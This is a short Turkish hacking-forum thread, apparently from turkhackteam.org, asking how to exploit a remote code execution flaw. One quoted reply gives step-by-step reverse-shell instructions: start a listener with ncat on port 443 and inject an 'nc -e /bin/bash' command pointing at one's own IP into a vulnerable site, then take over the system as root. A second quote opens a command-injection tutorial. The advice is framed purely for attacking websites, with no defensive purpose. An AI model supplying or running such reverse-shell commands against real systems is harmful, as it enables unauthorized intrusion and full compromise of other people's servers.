Rce açığı nasıl sömürülür

Mamilate' Alıntı:

netcat kullanarak shell açabilirsin ardından root olarak tüm sisteme sızabilirsin. ilk olarak kendi terminalinde "ncat -nlvp 443" yazdıktan sonra sitede zafiyet olan kısma "nc -e /bin/bash <<Kendi IP Adresin>> 443" yazıp çalıştırabilirsen kendi terminalinde shell açıldığını göreceksin.

Genişletmek için tıkla ...

P4$A' Alıntı:

# Web Hacking 101 Serisi ~ Command Injection #

~Tanım~ Command injection, kötü niyetli bir saldırganın, bir web uygulaması veya başka bir bilgisayar programının hatalı veya güvenliksiz bir şekilde yazılmış giriş kontrollerini kullanarak hedef sistemde komut çalıştırmasına izin veren bir güvenlik açığıdır. Bu tür bir saldırıda, saldırgan...

turkhackteam.org

Genişletmek için tıkla ...